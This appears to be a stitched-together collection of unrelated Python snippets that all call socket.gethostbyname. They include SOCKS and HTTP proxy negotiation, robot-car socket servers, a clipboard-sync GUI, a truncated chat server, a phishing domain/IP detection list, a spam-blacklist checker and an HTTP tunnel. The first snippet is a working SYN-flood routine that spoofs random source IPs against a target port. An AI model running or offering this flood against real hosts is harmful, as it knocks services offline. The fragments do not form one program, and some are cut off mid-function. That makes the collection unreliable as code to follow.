def tcp_attack(target, port, nbr): try: from scapy.all import * except: print("Scapy importation error") try: import socket import random conf.iface = 'wlan0' ip = IP() try: ip.dst = socket.gethostbyname(target) except: print("Couldn't get the IP of the target") print("target IP : " + ip.dst) c = 0 tcp = TCP() tcp.flags = 'S' tcp.dport = int(port) while c <= nbr: ip.src = "%i.%i.%i.%i" % (random.randint( 1, 254), random.randint(1, 254), random.randint( 1, 254), random.randint(1, 254)) tcp.sport = RandShort() packet = ip / tcp send(packet, verbose=0) if c % 20 == 0: print(str(c * 100 / nbr) + " %") c += 1 history_write("tcp %s\n" % target) return 0 except: return 1
def __negotiatehttp(self, destaddr, destport): """__negotiatehttp(self,destaddr,destport) Negotiates a connection through an HTTP server. """ # If we need to resolve locally, we do this now if not self.__proxy[3]: addr = socket.gethostbyname(destaddr) else: addr = destaddr headers = ["CONNECT ", addr, ":", str(destport), " HTTP/1.1\r\n"] headers += ["Host: ", destaddr, "\r\n"] if (self.__proxy[4] != None and self.__proxy[5] != None): headers += [self.__getauthheader(), "\r\n"] headers.append("\r\n") self.sendall("".join(headers).encode()) # We read the response until we get the string "\r\n\r\n" resp = self.recv(1) while resp.find("\r\n\r\n".encode()) == -1: resp = resp + self.recv(1) # We just need the first line to check if the connection # was successful statusline = resp.splitlines()[0].split(" ".encode(), 2) if statusline[0] not in ("HTTP/1.0".encode(), "HTTP/1.1".encode()): self.close() raise GeneralProxyError((1, _generalerrors[1])) try: statuscode = int(statusline[1]) except ValueError: self.close() raise GeneralProxyError((1, _generalerrors[1])) if statuscode != 200: self.close() raise HTTPError((statuscode, statusline[2])) self.__proxysockname = ("0.0.0.0", 0) self.__proxypeername = (addr, destport)
def __init__(self, host2, port2): # assign value to shared data variable RangeFinderServer.brake = True RangeFinderServer.warning = [] # server socket and port self.server_socket = socket.socket() self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.server_socket.bind((host2, port2)) self.server_socket.listen(0) self.connection, self.client_address = self.server_socket.accept() self.host_name = socket.gethostname() self.host_ip = socket.gethostbyname(self.host_name) # while VideoStreamServer.color is still empty while (VideoStreamServer.color == []): # if kill switch for threading is activated if (LatchingSwitch.tr_alive != True): # break from while loop break # rest for 0.1 second time.sleep(0.1) # execute server receiving self.receiving()
def comprobar_p(): z = re.search(r'IP:\w+.\w+.\w+.\w+', str(self.myipwhois("r"))).group() z = str(z).lstrip("IP:") if z == socket.gethostbyname(self.url1) e = "no existe ninguna intervercion con el dominio solicitado" else: e = "las resultados dns onlines y locales no coinciden \n o existe un servidor espejo en su red \n te sujiero cambiar tu dns" return e
def Arguments(): host = argv[2].replace( "http://", "").replace("https://", "").replace("www.", "") host = socket.gethostbyname(host) if argv[3] == "--all": for port in range(20, 65535): Connection(host, port) elif argv[3] == "--port": port = argv[4].split("-") for i in port: Connection(host, int(i))
def __init__(self, host1, port1): # server socket and port self.server_socket = socket.socket() self.server_socket.bind((host1, port1)) self.server_socket.listen(0) self.connection, self.client_address = self.server_socket.accept() self.connection = self.connection.makefile('rb') self.host_name = socket.gethostname() self.host_ip = socket.gethostbyname(self.host_name) # execute server receiving self.receiving()
def __init__(self, host2, port2): # server socket and port self.server_socket = socket.socket() self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.server_socket.bind((host2, port2)) self.server_socket.listen(0) self.connection, self.client_address = self.server_socket.accept() self.host_name = socket.gethostname() self.host_ip = socket.gethostbyname(self.host_name) # execute server receiving self.receiving()
def _nego_socks4(self, proxy, address): def recv(length): data = "" while len(data) < length: data = data + self.recv(length-len(data)) return data # Check if the destination address provided is an IP address rmtrslv = False try: ipaddr = socket.inet_aton(address[0]) except socket.error: # It's a DNS name. Check where it should be resolved. if proxy.rdns: ipaddr = "\x00\x00\x00\x01" rmtrslv = True else: ipaddr = inet_aton(socket.gethostbyname(address[0])) # Construct the request packet req = "\x04\x01" + struct.pack(">H", address[1]) + ipaddr # The username parameter is considered userid for SOCKS4 if proxy.user != None: req = req + proxy.user req = req + "\x00" # DNS name if remote resolving is required # NOTE: This is actually an extension to the SOCKS4 protocol # called SOCKS4A and may not be supported in all cases. if rmtrslv==True: req = req + address[0] + "\x00" self.sendall(req) # Get the response from the server resp = recv(8) if resp[0] != "\x00": # Bad data self.close() raise ProxyError('invlid data from socks4 proxy server') if resp[1] != "\x5A": # Server returned an error self.close() if ord(resp[1]) in ('0x5b', '0x5c', '0x5d'): self.close() raise ProxyError('socks4 proxy error: %d' %ord(resp[1])) else: raise ProxyError('socks4 proxy error: unknown') # Get the bound address/port self.so_proxy_sock = (inet_ntoa(resp[4:]),struct.unpack(">H",resp[2:4])[0]) if rmtrslv != None: self.so_proxy_peer = (inet_ntoa(ipaddr),address[1]) else: self.so_proxy_peer = address
def __init__(self, host2, port2): # assign value to shared data variable RangeFinderServer.brake = True # server socket and port self.server_socket = socket.socket() self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.server_socket.bind((host2, port2)) self.server_socket.listen(0) self.connection, self.client_address = self.server_socket.accept() self.host_name = socket.gethostname() self.host_ip = socket.gethostbyname(self.host_name) # execute server receiving self.receiving()
def __init__(self, host1, port1): # assign value to shared data variable VideoStreamServer.color = [] VideoStreamServer.grayscale = [] # server socket and port self.server_socket = socket.socket() self.server_socket.bind((host1, port1)) self.server_socket.listen(0) self.connection, self.client_address = self.server_socket.accept() self.connection = self.connection.makefile('rb') self.host_name = socket.gethostname() self.host_ip = socket.gethostbyname(self.host_name) # execute server receiving self.receiving()
def __init__(self, host1, port1): # server socket and port self.server_socket = socket.socket() self.server_socket.bind((host1, port1)) self.server_socket.listen(0) self.connection, self.client_address = self.server_socket.accept() self.connection = self.connection.makefile('rb') self.host_name = socket.gethostname() self.host_ip = socket.gethostbyname(self.host_name) # maximum red color range in ycrcb colouring self.upper_red = np.array(apv.upred) # minimum red color range in ycrcb colouring self.lower_red = np.array(apv.lowred) # execute server receiving self.receiving()
def __negotiatesocks4(self,destaddr,destport): """__negotiatesocks4(self,destaddr,destport) Negotiates a connection through a SOCKS4 server. """ # Check if the destination address provided is an IP address rmtrslv = False try: ipaddr = socket.inet_aton(destaddr) except socket.error: # It's a DNS name. Check where it should be resolved. if self.__proxy[3]: ipaddr = struct.pack("BBBB", 0x00, 0x00, 0x00, 0x01) rmtrslv = True else: ipaddr = socket.inet_aton(socket.gethostbyname(destaddr)) # Construct the request packet req = struct.pack(">BBH", 0x04, 0x01, destport) + ipaddr # The username parameter is considered userid for SOCKS4 if self.__proxy[4] != None: req = req + self.__proxy[4] req = req + chr(0x00).encode() # DNS name if remote resolving is required # NOTE: This is actually an extension to the SOCKS4 protocol # called SOCKS4A and may not be supported in all cases. if rmtrslv: req = req + destaddr + chr(0x00).encode() self.sendall(req) # Get the response from the server resp = self.__recvall(8) if resp[0:1] != chr(0x00).encode(): # Bad data self.close() raise GeneralProxyError((1,_generalerrors[1])) if resp[1:2] != chr(0x5A).encode(): # Server returned an error self.close() if ord(resp[1:2]) in (91, 92, 93): self.close() raise Socks4Error((ord(resp[1:2]), _socks4errors[ord(resp[1:2]) - 90])) else: raise Socks4Error((94, _socks4errors[4])) # Get the bound address/port self.__proxysockname = (socket.inet_ntoa(resp[4:]), struct.unpack(">H", resp[2:4])[0]) if rmtrslv != None: self.__proxypeername = (socket.inet_ntoa(ipaddr), destport) else: self.__proxypeername = (destaddr, destport)
def checkPhishIPstats(url, hostname): url_match = re.search('at\.ua|usa\.cc|baltazarpresentes\.com\.br|pe\.hu|esy\.es|hol\.es|sweddy\.com|myjino\.ru|96\.lt|ow\.ly',url) try: ip = socket.gethostbyname(hostname) except: pass #something? ip_match=re.search('146\.112\.61\.108|213\.174\.157\.151|121\.50\.168\.88|192\.185\.217\.116|78\.46\.211\.158|181\.174\.165\.13|46\.242\.145\.103|121\.50\.168\.40|83\.125\.22\.219|46\.242\.145\.98|' '107\.151\.148\.44|107\.151\.148\.107|64\.70\.19\.203|199\.184\.144\.27|107\.151\.148\.108|107\.151\.148\.109|119\.28\.52\.61|54\.83\.43\.69|52\.69\.166\.231|216\.58\.192\.225|' '118\.184\.25\.86|67\.208\.74\.71|23\.253\.126\.58|104\.239\.157\.210|175\.126\.123\.219|141\.8\.224\.221|10\.10\.10\.10|43\.229\.108\.32|103\.232\.215\.140|69\.172\.201\.153|' '216\.218\.185\.162|54\.225\.104\.146|103\.243\.24\.98|199\.59\.243\.120|31\.170\.160\.61|213\.19\.128\.77|62\.113\.226\.131|208\.100\.26\.234|195\.16\.127\.102|195\.16\.127\.157|' '34\.196\.13\.28|103\.224\.212\.222|172\.217\.4\.225|54\.72\.9\.51|192\.64\.147\.141|198\.200\.56\.183|23\.253\.164\.103|52\.48\.191\.26|52\.214\.197\.72|87\.98\.255\.18|209\.99\.17\.27|' '216\.38\.62\.18|104\.130\.124\.96|47\.89\.58\.141|78\.46\.211\.158|54\.86\.225\.156|54\.82\.156\.19|37\.157\.192\.102|204\.11\.56\.48|110\.34\.231\.42',ip) if url_match or ip_match: return -1 else: return 1
def __init__(self, host4, port4): # futaba controller channel 1 self.left = apv.left self.right = apv.right self.center = apv.center # futaba controller channel 3 self.backward = apv.mbackward self.forward = apv.mforward self.stop = apv.stop # server socket self.server_socket = socket.socket() self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.server_socket.bind((host4, port4)) self.server_socket.listen(0) self.connection, self.client_address = self.server_socket.accept() self.host_name = socket.gethostname() self.host_ip = socket.gethostbyname(self.host_name) # execute server receiving self.receiving()
def __negotiatesocks5(self, destaddr, destport): """__negotiatesocks5(self,destaddr,destport) Negotiates a connection through a SOCKS5 server. """ # First we'll send the authentication packages we support. if (self.__proxy[4]!=None) and (self.__proxy[5]!=None): # The username/password details were supplied to the # setproxy method so we support the USERNAME/PASSWORD # authentication (in addition to the standard none). self.sendall(struct.pack('BBBB', 0x05, 0x02, 0x00, 0x02)) else: # No username/password were entered, therefore we # only support connections with no authentication. self.sendall(struct.pack('BBB', 0x05, 0x01, 0x00)) # We'll receive the server's response to determine which # method was selected chosenauth = self.__recvall(2) if chosenauth[0:1] != chr(0x05).encode(): self.close() raise GeneralProxyError((1, _generalerrors[1])) # Check the chosen authentication method if chosenauth[1:2] == chr(0x00).encode(): # No authentication is required pass elif chosenauth[1:2] == chr(0x02).encode(): # Okay, we need to perform a basic username/password # authentication. self.sendall(chr(0x01).encode() + chr(len(self.__proxy[4])) + self.__proxy[4] + chr(len(self.__proxy[5])) + self.__proxy[5]) authstat = self.__recvall(2) if authstat[0:1] != chr(0x01).encode(): # Bad response self.close() raise GeneralProxyError((1, _generalerrors[1])) if authstat[1:2] != chr(0x00).encode(): # Authentication failed self.close() raise Socks5AuthError((3, _socks5autherrors[3])) # Authentication succeeded else: # Reaching here is always bad self.close() if chosenauth[1] == chr(0xFF).encode(): raise Socks5AuthError((2, _socks5autherrors[2])) else: raise GeneralProxyError((1, _generalerrors[1])) # Now we can request the actual connection req = struct.pack('BBB', 0x05, 0x01, 0x00) # If the given destination address is an IP address, we'll # use the IPv4 address request even if remote resolving was specified. try: ipaddr = socket.inet_aton(destaddr) req = req + chr(0x01).encode() + ipaddr except socket.error: # Well it's not an IP number, so it's probably a DNS name. if self.__proxy[3]: # Resolve remotely ipaddr = None req = req + chr(0x03).encode() + chr(len(destaddr)).encode() + destaddr else: # Resolve locally ipaddr = socket.inet_aton(socket.gethostbyname(destaddr)) req = req + chr(0x01).encode() + ipaddr req = req + struct.pack(">H", destport) self.sendall(req) # Get the response resp = self.__recvall(4) if resp[0:1] != chr(0x05).encode(): self.close() raise GeneralProxyError((1, _generalerrors[1])) elif resp[1:2] != chr(0x00).encode(): # Connection failed self.close() if ord(resp[1:2])<=8: raise Socks5Error((ord(resp[1:2]), _socks5errors[ord(resp[1:2])])) else: raise Socks5Error((9, _socks5errors[9])) # Get the bound address/port elif resp[3:4] == chr(0x01).encode(): boundaddr = self.__recvall(4) elif resp[3:4] == chr(0x03).encode(): resp = resp + self.recv(1) boundaddr = self.__recvall(ord(resp[4:5])) else: self.close() raise GeneralProxyError((1,_generalerrors[1])) boundport = struct.unpack(">H", self.__recvall(2))[0] self.__proxysockname = (boundaddr, boundport) if ipaddr != None: self.__proxypeername = (socket.inet_ntoa(ipaddr), destport) else: self.__proxypeername = (destaddr, destport)
def all_sync(event=0): def get_myclip(): global old_clip server_clip = pyperclip.paste() if old_clip != server_clip: old_clip = server_clip return server_clip, True else: return server_clip, False def add_user(work_mode, timeout=1): global user_list sock.settimeout(timeout) try: conn, addr = sock.accept() except: return name = pickle.loads(conn.recv(1024)) conn.send(pickle.dumps(work_mode)) user_list[name] = (conn, addr) print(name, "connected from ip", addr[0]) def all_sync(): global user_list, clip, clip_user, clip_ch_flag global old_clip server_clip, ch_flag = get_myclip() if ch_flag: print("clip changed to server clip") for j in user_list: user_list[j][0].send(pickle.dumps([server_clip, "clip"])) return if clip_ch_flag: clip_ch_flag = False print("clip changed to ", clip_user, " clip") for j in user_list: user_list[j][0].send(pickle.dumps([clip, "clip"])) def port_bind(event): port = entry_port.get() if not port.isdigit() or int(port) in range(0, 1024): entry_port.delete(0, END) entry_port.insert(0, "Incorrect port") entry_port.after(1000, lambda: entry_port.delete(0, END)) return entry_port.destroy() port_label_value = Label(text=port, bg="#33FFFF", fg="white") port_label_value.place(x=55, y=40) start_button["text"] = "Exit" start_button.bind("<Button-1>", func=lambda x: exit()) status_label["text"] = "Starting server" status_label["bg"] = "orange" sock.bind(('', int(port))) sock.listen(10) work_thread.start() status_label["text"] = "Server started" status_label["bg"] = "green" def thread_cycle(event=0): global work_mode while True: add_user(work_mode) recive_server_controller() all_sync() sleep(1) work_thread = Thread(target=thread_cycle) root.destroy() window = Tk() window.resizable(False, False) window.geometry("200x220") window.title("Server sync mode | server") entry_port = Entry(width=15) port_label = Label(text="Port") start_button = Button(window, text="Start", width=17) status_label = Label(text="Server stopped", bg="red", height=1, width=20) nick_name_label = Label(text="Your nickname is Server", bg="#00CCFF", fg="white", height=1, width=20) ip_label = Label(text=("Your IP is {}".format( socket.gethostbyname(socket.gethostname()))), bg="#00CCFF", fg="white", height=1, width=20) ip_label.place(x=25, y=160) nick_name_label.place(x=20, y=10) status_label.place(x=25, y=180) port_label.place(x=25, y=40) entry_port.place(x=55, y=40) start_button.place(x=35, y=70) start_button.bind("<Button-1>", func=port_bind) window.mainloop()
from socket import AF_INET, socket, SOCK_STREAM from threading import Thread, Lock HOST = '' PORT = 5500 BUFSIZ = 1024 ADDR = (HOST, PORT) SERVER = socket(AF_INET, SOCK_STREAM) SERVER.bind(ADDR) HOST_NAME = socket.gethostname() HOST_IP = socket.gethostbyname(HOST_NAME) def broadcast(msg): pass def exception_quit(): pass def connection_handler(client_socket): first_message = 'Welcome to the chat' + 'You can type {quit} to exit' + 'Now, please type in your name' client_socket.send(bytes(first_message, "utf8")) name = client_socket.recv(BUFSIZ).decode("utf8") sec_message = f"{name} has joined the chat. Welcome!" broadcast(sec_message) no_error = True while no_error: try: msg = client_socket.recv(BUFSIZ).decode("utf8")
# fw = open(write_dir + str(i[TCP].seq), 'w') # fw = open(write_dir + str(1), 'wb') # fw.write(str.encode(hex_resp)) # fw.close() # send_ack(tcp_obj, tcp_obj.pkt[TCP].seq, i[TCP].seq + (len(hex_resp) / 2)) ''' if __name__ == "__main__": # dst_name = "primus.cs.duke.edu" dst_name = "www.facebook.com" dst_ip = socket.gethostbyname(dst_name) dst_port = 443 timeout = 0.3 curr_dir = os.getcwd() if curr_dir[len(curr_dir) - 1] != '/': curr_dir += '/' # t = multiprocessing.Process(target=sniffer_simple, args=(tcp_obj, tcp_obj.src_port, tcp_obj.dst_port, tcp_obj.src_ip, tcp_obj.dst_ip, timeout, curr_dir + 'resp_pkts/',)) # t.start() tls_version = TLSVersion.TLS_1_2 ciphers = [TLSCipherSuite.ECDHE_RSA_WITH_AES_128_GCM_SHA256] extensions = [TLSExtension() / TLSExtECPointsFormat(), TLSExtension() / TLSExtSupportedGroups()]
def A_t_a_mode(event=0): def add_user(work_mode, timeout=1): global user_list sock.settimeout(timeout) try: conn, addr = sock.accept() except: return name = pickle.loads(conn.recv(1024)) conn.send(pickle.dumps(work_mode)) user_list[name] = (conn, addr) lbox.insert(0, name) def all_to_all_send_recv(): global clip, clip_ch_flag, user_list, request, request_ch_flag, clip_user, request_user if request_ch_flag: request_ch_flag = False if request != "user_list_get": if request == "server": user_list[request_user][0].send( pickle.dumps([pyperclip.paste(), "clip"])) return user_list[request][0].send( pickle.dumps(["get_clip", "request"])) while True: if clip_ch_flag: clip_ch_flag = False user_list[request_user][0].send( pickle.dumps([clip, "clip"])) break else: user_list[request_user][0].send( pickle.dumps([[i for i in user_list] + ["server"], "user_list"])) print("user list send") def server_get_clip(event): global clip, clip_ch_flag, user_list, request, request_ch_flag, clip_user, request_user try: name = lbox.get(lbox.curselection()) except: return print(user_list) user_list[name][0].send(pickle.dumps(["get_clip", "request"])) while True: if clip_ch_flag: clip_ch_flag = False pyperclip.copy(clip) print("clip pasted to clip", name) break sleep(0.1) def entry_bind(event): port = entry_port.get() if not port.isdigit() or int(port) in range(0, 1024): entry_port.delete(0, END) entry_port.insert(0, "Incorrect port") entry_port.after(1000, lambda: entry_port.delete(0, END)) return entry_port.destroy() port_label_value = Label(text=port, bg="#33FFFF", fg="white") port_label_value.place(x=55, y=40) start_button["text"] = "Exit" start_button.bind("<Button-1>", func=lambda x: exit()) status_label["text"] = "Starting server" status_label["bg"] = "orange" sock.bind(('', int(port))) sock.listen(10) work_thread.start() status_label["text"] = "Server started" status_label["bg"] = "green" def thread_cycle(event=0): global work_mode while True: add_user(work_mode) recive_server_controller() all_to_all_send_recv() sleep(1) work_thread = Thread(target=thread_cycle) work_thread.daemon = True root.destroy() window = Tk() window.resizable(False, False) window.geometry("400x220") window.title("A-t-A mode | server") get_clip_button = Button(window, text="Get Clipboard") lbox = Listbox(width=20, height=10) entry_port = Entry(width=15) port_label = Label(text="Port") start_button = Button(window, text="Start", width=17) status_label = Label(text="Server stopped", bg="red", height=1, width=20) nick_name_label = Label(text="Your nickname is Server", bg="#00CCFF", fg="white", height=1, width=20) ip_label = Label(text=("Your IP is {}".format( socket.gethostbyname(socket.gethostname()))), bg="#00CCFF", fg="white", height=1, width=20) ip_label.place(x=25, y=160) nick_name_label.place(x=25, y=10) status_label.place(x=25, y=180) port_label.place(x=25, y=40) entry_port.place(x=55, y=40) start_button.place(x=25, y=70) lbox.place(x=250, y=10) get_clip_button.place(x=270, y=180) start_button.bind("<Button-1>", func=entry_bind) get_clip_button.bind("<Button-1>", func=server_get_clip) window.mainloop()
def _nego_socks5(self, proxy, address): def recv(length): data = "" while len(data) < length: data = data + self.recv(length-len(data)) return data # First we'll send the authentication packages we support. if proxy.user and proxy.password: # The username/password details were supplied to the # setproxy method so we support the USERNAME/PASSWORD # authentication (in addition to the standard none). self.sendall("\x05\x02\x00\x02") else: # No username/password were entered, therefore we # only support connections with no authentication. self.sendall("\x05\x01\x00") # We'll receive the server's response to determine which # method was selected chosenauth = recv(2) if chosenauth[0] != "\x05": self.close() raise ProxyError('socks5 proxy is not supported by server') # Check the chosen authentication method if chosenauth[1] == "\x00": # No authentication is required pass elif chosenauth[1] == "\x02": # Okay, we need to perform a basic username/password # authentication. self.sendall("\x01" + chr(len(proxy.user)) + proxy.user + chr(len(proxy.password)) + proxy.password) authstat = recv(2) if authstat[0] != "\x01": # Bad response self.close() raise ProxyError('bad authentication request') if authstat[1] != "\x00": # Authentication failed self.close() raise ProxyError('Authentication failed') # Authentication succeeded else: # Reaching here is always bad self.close() if chosenauth[1] == "\xFF": raise ProxyError('connection not allowed by ruleset') else: raise ProxyError('invalid data from socks5 proxy server') # Now we can request the actual connection req = "\x05\x01\x00" # If the given destination address is an IP address, we'll # use the IPv4 address request even if remote resolving was specified. try: ipaddr = inet_aton(address[0]) req = req + "\x01" + ipaddr except socket.error: # Well it's not an IP number, so it's probably a DNS name. if proxy.rdns: # Resolve remotely ipaddr = None req = req + "\x03" + chr(len(address[0])) + address[0] else: # Resolve locally ipaddr = inet_aton(socket.gethostbyname(address[0])) req = req + "\x01" + ipaddr req = req + struct.pack(">H", address[1]) self.sendall(req) # Get the response resp = recv(4) if resp[0] != "\x05": self.close() raise ProxyError('socks5 proxy is not supported by server') elif resp[1] != "\x00": # Connection failed self.close() if ord(resp[1])<=8: raise ProxyError('socks5 proxy error: %d' %ord(resp[1])) else: raise ProxyError('socks5 proxy error: unknown') # Get the bound address/port elif resp[3] == "\x01": boundaddr = recv(4) #IPv4 address elif resp[3] == "\x03": resp = resp + recv(1) boundaddr = recv(ord(resp[4])) #Domain name elif resp[3] == "\x04": boundaddr = recv(16) #IPv6 address else: self.close() raise ProxyError('invlid data from socks5 proxy server') boundport = struct.unpack(">H",recv(2))[0] self.so_proxy_sock = (boundaddr, boundport) if ipaddr != None: self.so_peer = (inet_ntoa(ipaddr), address[1]) else: self.so_peer = address
def client_main(args, tun): url = urlparse.urlparse(args.url) if ':' in url.netloc: host, port = url.netloc.split(':') port = int(port) else: host, port = url.netloc, 80 host_ip = socket.gethostbyname(host) def get(): sock = socket.socket() sock.connect((host, port)) logger.info("GET %s", args.url) sock.sendall('GET %s HTTP/1.1\r\n' % url.path) sock.sendall('Host: %s\r\n' % url.netloc) sock.sendall('Accept: */*\r\n') sock.sendall('\r\n') f = sock.makefile('r', 0) while f.readline().strip(): # read until blank line pass for data in read_connection(f): logger.debug('< %dB', len(data)) os.write(tun.fd, data) logger.warning("quit get") def post(): sock = socket.socket() sock.connect((host, port)) logger.info("POST %s", args.url) sock.sendall('POST %s HTTP/1.1\r\n' % url.path) sock.sendall('Host: %s\r\n' % url.netloc) sock.sendall('Accept: */*\r\n') sock.sendall('\r\n') for data in read_tun(tun): logger.debug('> %dB', len(data)) sock.sendall(data) logger.warning("quit post") t1 = threading.Thread(target=get) t1.setDaemon(True) t2 = threading.Thread(target=post) t2.setDaemon(True) t1.start() t2.start() gateway = get_default_gateway() if args.down: atexit.register(on_down, args.down) add_route(host_ip + '/32', gateway) if args.default_gateway: logger.info("set default gateway") call(['route', 'delete', 'default']) check_call(['route', 'add', 'default', args.peer_ip]) atexit.register(restore_gateway) if args.up: logger.info("Run up script") check_call(args.up) try: while t1.is_alive() and t2.is_alive(): time.sleep(5) except KeyboardInterrupt: pass
def blacklist_check(hst): serverlist = [ ',access.redhawk.org', 'b.barracudacentral.org', 'bl.shlink.org', 'bl.spamcannibal.org', 'bl.spamcop.net', 'bl.tiopan.com', 'blackholes.wirehub.net', 'blacklist.sci.kun.nl', 'block.dnsbl.sorbs.net', 'blocked.hilli.dk', 'bogons.cymru.com', 'cart00ney.surriel.com', 'cbl.abuseat.org', 'cblless.anti-spam.org.cn', 'dev.null.dk', 'dialup.blacklist.jippg.org', 'dialups.mail-abuse.org', 'dialups.visi.com', 'dnsbl.abuse.ch', 'dnsbl.anticaptcha.net', 'dnsbl.antispam.or.id', 'dnsbl.dronebl.org', 'dnsbl.justspam.org', 'dnsbl.kempt.net', 'dnsbl.sorbs.net', 'dnsbl.tornevall.org', 'dnsbl-1.uceprotect.net', 'duinv.aupads.org', 'dnsbl-2.uceprotect.net', 'dnsbl-3.uceprotect.net', 'dul.dnsbl.sorbs.net', 'dul.ru', 'escalations.dnsbl.sorbs.net', 'hil.habeas.com', 'black.junkemailfilter.com', 'http.dnsbl.sorbs.net', 'intruders.docs.uu.se', 'ips.backscatterer.org', 'korea.services.net', 'l2.apews.org', 'mail-abuse.blacklist.jippg.org', 'misc.dnsbl.sorbs.net', 'msgid.bl.gweep.ca', 'new.dnsbl.sorbs.net', 'no-more-funn.moensted.dk', 'old.dnsbl.sorbs.net', 'opm.tornevall.org', 'pbl.spamhaus.org', 'proxy.bl.gweep.ca', 'dyna.spamrats.com', 'spam.spamrats.com', 'psbl.surriel.com', 'pss.spambusters.org.ar', 'rbl.schulte.org', 'rbl.snark.net', 'recent.dnsbl.sorbs.net', 'relays.bl.gweep.ca', 'relays.bl.kundenserver.de', 'relays.mail-abuse.org', 'relays.nether.net', 'rsbl.aupads.org', 'sbl.spamhaus.org', 'smtp.dnsbl.sorbs.net', 'socks.dnsbl.sorbs.net', 'spam.dnsbl.sorbs.net', 'spam.olsentech.net', 'spamguard.leadmon.net', 'spamsources.fabel.dk', 'tor.ahbl.org', 'tor.dnsbl.sectoor.de', 'ubl.unsubscore.com', 'web.dnsbl.sorbs.net', 'xbl.spamhaus.org', 'zen.spamhaus.org', 'zombie.dnsbl.sorbs.net', 'dnsbl.inps.de', 'dyn.shlink.org', 'rbl.megarbl.net', 'bl.mailspike.net' ] queue = Queue.Queue() global on_blacklist on_blacklist = [] class ThreadRBL(threading.Thread): def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): while True: #grabs host from queue hostname,root_name = self.queue.get() check_host = "%s.%s" % (hostname, root_name) try: setdefaulttimeout(5) check_addr = gethostbyname(check_host) except error: check_addr = None if check_addr != None and "127.0.0." in check_addr: on_blacklist.append(root_name) #signals to queue job is done self.queue.task_done() host = None addr = hst if host: try: addr = socket.gethostbyname(host) except: return "ERROR: Host '%s' not found - maybe try a FQDN?" % host addr_parts = string.split(addr, '.') addr_parts.reverse() check_name = string.join(addr_parts, '.') host = addr for i in range(5): t = ThreadRBL(queue) t.setDaemon(True) t.start() #populate queue with data for blhost in serverlist: queue.put((check_name,blhost)) queue.join() #sleep(5) if len(on_blacklist) >= 0: return 'ERROR',' %s on %s spam blacklists|%s' % (host,len(on_blacklist),on_blacklist) else: return 'OK', '%s not on known spam blacklists' % host